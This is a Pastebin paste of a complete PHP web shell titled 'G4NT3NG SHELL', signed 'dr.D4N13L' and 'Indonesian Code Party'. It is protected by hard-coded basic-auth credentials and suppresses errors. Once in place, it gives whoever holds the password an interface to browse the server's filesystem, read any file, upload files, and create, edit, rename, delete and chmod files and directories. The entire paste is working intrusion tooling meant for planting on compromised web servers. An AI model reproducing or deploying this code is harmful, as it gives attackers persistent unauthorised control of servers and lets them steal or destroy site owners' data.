Advertisement
Guest User

asd

a guest
May 3rd, 2019
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.15 KB | None | 0 0
  1. <?php
  2. // --- pop-up
  3.  
  4. $user = "lol";
  5.  
  6. $pass = "asd";
  7.  
  8. if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))
  9.  
  10. {
  11.  
  12. header("WWW-Authenticate: Basic realm=\"./0xD4N13L\"");
  13.  
  14. header("HTTP/1.0 401 Unauthorized");
  15.  
  16. exit();
  17.  
  18. }
  19. set_time_limit(0);
  20. error_reporting(0);
  21.  
  22. if(get_magic_quotes_gpc()){
  23. foreach($_POST as $key=>$value){
  24. $_POST[$key] = stripslashes($value);
  25. }
  26. }
  27. echo '<!doctype html>
  28. <html>
  29. <head>
  30. <title>G4NT3NG SHELL</title>
  31. </head>';
  32.  
  33. ?>
  34.  
  35. <style>
  36. @font-face {
  37. font-family: 'Comic Sans MS';
  38. font-style: normal;
  39. font-weight: 400;
  40. src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
  41. }
  42. body {
  43.  
  44. background: #000000;line-height: 1;color: #fff;font-family: Comic Sans MS ;
  45.  
  46. }
  47.  
  48. table, th, td {
  49. border-collapse:collapse;
  50. background: transparent;
  51. font-family: Comic Sans MS ;
  52. font-size: 13px;
  53. }
  54. input, textarea { font-family: Comic Sans MS ; }
  55. .table_home, .th_home, .td_home { color:grey;
  56. border: 1px solid grey;
  57. }
  58. th {
  59. padding: 10px;
  60. }
  61. .td_home { padding: 7px; }
  62. select {font-family: Comic Sans MS }
  63. a {color:white}
  64. textarea { width: 100%;height: 400px; }
  65. </style>
  66. <?php
  67.  
  68. echo '</head>
  69. <body><b>
  70. <H1><center><font color="red">dr.D4N13L</font></center></h1>
  71. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  72.  
  73. <tr><td>
  74.  
  75. <font color="green"><center>'.php_uname().'</center></font><br>';
  76. if(isset($_GET['path'])){
  77. $path = $_GET['path'];
  78. }else{
  79. $path =
  80.  
  81.  
  82. getcwd();
  83.  
  84. }
  85. $path = str_replace('\\','/',$path);
  86. $paths = explode('/',$path);
  87.  
  88. foreach($paths as $id=>$pat){
  89. if($pat == '' && $id == 0){
  90. $a = true;
  91. echo '<font color=#fff><center>$ root@x48 : <a href="?path=/">/</a>';
  92. continue;
  93. }
  94. if($pat == '') continue;
  95. echo '<a href="?path=';
  96. for($i=0;$i<=$id;$i++){
  97. echo "$paths[$i]";
  98. if($i != $id) echo "/";
  99. }
  100. echo '">'.$pat.'</a>/';
  101. }
  102. echo '</font></center></td></tr><tr><td><center>';
  103. if(isset($_FILES['file'])){
  104. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  105. echo '<font color="green">File Upload</font><br />';
  106. }else{
  107. echo '<font color="red">Upload Failed !!</font><br />';
  108. }
  109. }
  110. echo '</center><center><form enctype="multipart/form-data" method="POST"><font color="black"><input style="background:silver;font-family: Comic Sans MS " type="file" name="file" />
  111. <input type="submit" value="Uploadd" />
  112. </form></center>
  113. </td></tr>';
  114. if(isset($_GET['filesrc'])){
  115. echo "<tr><td><center>Current File : ";
  116. echo $_GET['filesrc'];
  117. echo '</center></tr></td></table><br />';
  118. echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  119. }
  120. //Empety
  121. elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
  122. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  123. //Chmod
  124. if($_GET['opt'] == 'chmod'){
  125. if(isset($_POST['perm'])){
  126. if(chmod($_POST['path'],$_POST['perm'])){
  127. echo '<font color="green">Change Permission Done </font><br />';
  128. }else{
  129. echo '<font color="red">Change Permission Error </font><br />';
  130. }
  131. }
  132.  
  133. $hell = $_GET['path'];
  134. $yeah = $_GET['name'];
  135. $patc = "$hell/$yeah";
  136.  
  137. echo '<form method="POST">
  138. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($patc)), -4).'" />
  139. <input type="hidden" name="path" value="'.$_POST['path'].'">
  140. <input type="hidden" name="opt" value="chmod">
  141. <input type="submit" value="Go" />
  142. </form>';
  143. }
  144. //
  145. elseif($_GET['opt'] == 'btw'){
  146. $cwd = getcwd();
  147. echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
  148. New Name : <input name="name" type="text" size="20" value="Folder" />
  149. <input type="hidden" name="path" value="'.$cwd.'">
  150. <input type="hidden" name="opt" value="delete">
  151. <input type="submit" value="Go" />
  152. </form>';
  153. }
  154. //Rename file
  155. elseif($_GET['opt'] == 'rename'){
  156. if(isset($_POST['newname'])){
  157. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  158. echo '<font color="green">Change Name Done </font><br />';
  159. }else{
  160. echo '<font color="red">Change Name Error </font><br />';
  161. }
  162. $_POST['name'] = $_POST['newname'];
  163. }
  164. $hell = $_GET['path'];
  165. $yeah = $_GET['name'];
  166. $patc = "$hell/$yeah";
  167. $new = $_POST['newname'];
  168.  
  169. echo '<form method="POST">
  170. New Name : <input name="newname" type="text" size="20" value="'.$new.'" />
  171. <input type="hidden" name="path" value="'.$patc.'">
  172. <input type="hidden" name="opt" value="rename">
  173. <input type="submit" value="Go" />
  174. </form>';
  175. }
  176. //File baru
  177. elseif($_GET['opt'] == 'baru'){
  178.  
  179. $hell = $_GET['path'];
  180. $yeah = $_GET['name'];
  181. $patc = "$hell/$yeah";
  182. $new = $_POST['newname'];
  183. $azz = $_POST['path'];
  184. $newz = "$azz/$new";
  185.  
  186.  
  187. if(isset($_POST['src'])){
  188. $fp = fopen($_POST['path'],'w');
  189. if(fwrite($fp,$_POST['src'])){
  190. echo '<font color="green">Create File Done [ '.$new.' ]</font><br />';
  191. }else{
  192. echo '<font color="red">Create File Error</font><br />';
  193. }
  194. fclose($fp);
  195. }
  196.  
  197. echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="'.$new.'" /><input type="submit" name="ngaran" value="Create"/></form><br> ';
  198.  
  199. $ho = $_POST['ngaran1'];
  200.  
  201. if(isset($_POST['ngaran'])){
  202. echo '<form method="POST">
  203. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  204. <input type="hidden" name="path" value="'.$hell.'/'.$ho.'">
  205. <input type="hidden" name="opt" value="edit">
  206. <input type="submit" value="Go" />
  207. </form>';
  208. }
  209. }
  210. //Edited file
  211. elseif($_GET['opt'] == 'edit'){
  212. if(isset($_POST['src'])){
  213. $fp = fopen($_POST['path'],'w');
  214. if(fwrite($fp,$_POST['src'])){
  215. echo '<font color="green">Edit File Done </font><br />';
  216. }else{
  217. echo '<font color="red">Edit File Error </font><br />';
  218. }
  219. fclose($fp);
  220. }
  221. $hell = $_GET['path'];
  222. $yeah = $_GET['name'];
  223. $patc = "$hell/$yeah";
  224. echo '<form method="POST">
  225. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  226. <input type="hidden" name="path" value="'.$patc.'">
  227. <input type="hidden" name="opt" value="edit">
  228. <input type="submit" value="Go" />
  229. </form>';
  230. }
  231. echo '</center>';
  232. }else{
  233. echo '</table><br /><center>';
  234. //Delete dir and file
  235. if(isset($_GET['option']) && $_GET['opt'] == 'delete'){
  236.  
  237. $hell = $_GET['path'];
  238. $yeah = $_GET['name'];
  239. $patc = "$hell/$yeah";
  240.  
  241. //Delete dir
  242. if($_GET['type'] == 'dir'){
  243.  
  244. if(rmdir($patc)){
  245. echo '<font color="green">Delete File Done</font><br />';
  246. }else{
  247. echo '<font color="red#">Delete File Error </font><br />';
  248. }
  249. }
  250. //buat folder
  251. if($_GET['type'] == 'buat'){
  252. $haaa = $_POST['path'];
  253. $heee = $_POST['name'];
  254. $hooo = "$haaa/$heee";
  255. $new = $haaa.'/'.htmlspecialchars($heee);
  256. if(!mkdir($new)){
  257. echo '<font color="red">Create Folder Error</font><br />';
  258. }else{
  259. echo '<font color="green">Create Folder Done </font><br />';
  260. }
  261. }
  262. //Delete file
  263. elseif($_GET['type'] == 'file'){
  264.  
  265. $hell = $_GET['path'];
  266. $yeah = $_GET['name'];
  267. $patc = "$hell/$yeah";
  268.  
  269. if(unlink($patc)){
  270. echo '<font color="green">Delete File Done</font><br />';
  271. }else{
  272. echo '<font color="red#">Delete File Error </font><br />';
  273. }
  274. }
  275. }
  276. echo '</center>';
  277. $scandir = scandir($path);
  278. $pa = getcwd();
  279. echo ' <table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  280. <tr>
  281. <th class=th_home style="background:silver;color:black;"><center>Name</center></th>
  282. <th class=th_home style="background:silver;color:black;" ><center>Size</center></th>
  283. <th class=th_home style="background:silver;color:black;" ><center>Perm</center></th>
  284. <th class=th_home style="background:silver;color:black;" ><center>Options</center></th>
  285. </tr> <tr>
  286. <td class=td_home>..</td><td class=td_home align=center>NONE</td> <td class=td_home align=center>LINK</td> <td class=td_home align=center> <a href="?option&path='.$pa.'&opt=baru&name=new.php">+ New File</a> | <a href="?option&path='.$pa.'&opt=btw&type=dir">+ New Dir</a> </td></tr>
  287. ';
  288.  
  289. foreach($scandir as $dir){
  290. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  291. echo "
  292. <tr>
  293. <td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path=$path/$dir\">$dir</a></td>
  294. <td class=td_home ><center>DIR</center></td>
  295. <td class=td_home ><center>";
  296. if(is_writable("$path/$dir")) echo '<font color="green">';
  297. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  298. echo perms("$path/$dir");
  299. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  300.  
  301. echo "</center></td>
  302. <td class=td_home ><center>
  303. <a href=\"?option&path=$path&opt=rename&type=dir&name=$dir\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=dir&name=$dir\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=dir&name=$dir\">Chmod</a>
  304.  
  305. </center></td>
  306. </tr>";
  307. }
  308. echo '<br>';
  309. foreach($scandir as $file){
  310. if(!is_file("$path/$file")) continue;
  311. $size = filesize("$path/$file")/1024;
  312. $size = round($size,3);
  313. if($size >= 1024){
  314. $size = round($size/1024,2).' MB';
  315. }else{
  316. $size = $size.' KB';
  317. }
  318.  
  319. echo "<tr>
  320. <td class=td_home > <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  321. <td class=td_home><center>".$size."</center></td>
  322. <td class=td_home><center>";
  323. if(is_writable("$path/$file")) echo '<font color="green">';
  324. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  325. echo perms("$path/$file");
  326. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  327. echo "</center></td>
  328. <td class=td_home><center>
  329. <a href=\"?option&path=$path&opt=edit&type=file&name=$file\">Edit</a> <a href=\"?option&path=$path&opt=rename&type=file&name=$file&path=$path\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=file&name=$file\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=file&name=$file\">Chmod</a>
  330. </center></td>
  331. </tr>";
  332. }
  333. echo '</table>
  334. </div>';
  335. }
  336. echo '<br><center>Indonesian Code Party</b></body>
  337. </html>';
  338. function perms($file){
  339. $perms = fileperms($file);
  340.  
  341. if (($perms & 0xC000) == 0xC000) {
  342. // Socket
  343. $info = 's';
  344. } elseif (($perms & 0xA000) == 0xA000) {
  345. // Symbolic Link
  346. $info = 'l';
  347. } elseif (($perms & 0x8000) == 0x8000) {
  348. // Regular
  349. $info = '-';
  350. } elseif (($perms & 0x6000) == 0x6000) {
  351. // Block special
  352. $info = 'b';
  353. } elseif (($perms & 0x4000) == 0x4000) {
  354. // Directory
  355. $info = 'd';
  356. } elseif (($perms & 0x2000) == 0x2000) {
  357. // Character special
  358. $info = 'c';
  359. } elseif (($perms & 0x1000) == 0x1000) {
  360. // FIFO pipe
  361. $info = 'p';
  362. } else {
  363. // Unknown
  364. $info = 'u';
  365. }
  366.  
  367. // Owner
  368. $info .= (($perms & 0x0100) ? 'r' : '-');
  369. $info .= (($perms & 0x0080) ? 'w' : '-');
  370. $info .= (($perms & 0x0040) ?
  371. (($perms & 0x0800) ? 's' : 'x' ) :
  372. (($perms & 0x0800) ? 'S' : '-'));
  373.  
  374. // Group
  375. $info .= (($perms & 0x0020) ? 'r' : '-');
  376. $info .= (($perms & 0x0010) ? 'w' : '-');
  377. $info .= (($perms & 0x0008) ?
  378. (($perms & 0x0400) ? 's' : 'x' ) :
  379. (($perms & 0x0400) ? 'S' : '-'));
  380.  
  381. // World
  382. $info .= (($perms & 0x0004) ? 'r' : '-');
  383. $info .= (($perms & 0x0002) ? 'w' : '-');
  384. $info .= (($perms & 0x0001) ?
  385. (($perms & 0x0200) ? 't' : 'x' ) :
  386. (($perms & 0x0200) ? 'T' : '-'));
  387.  
  388. return $info;
  389. }
  390.  
  391. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement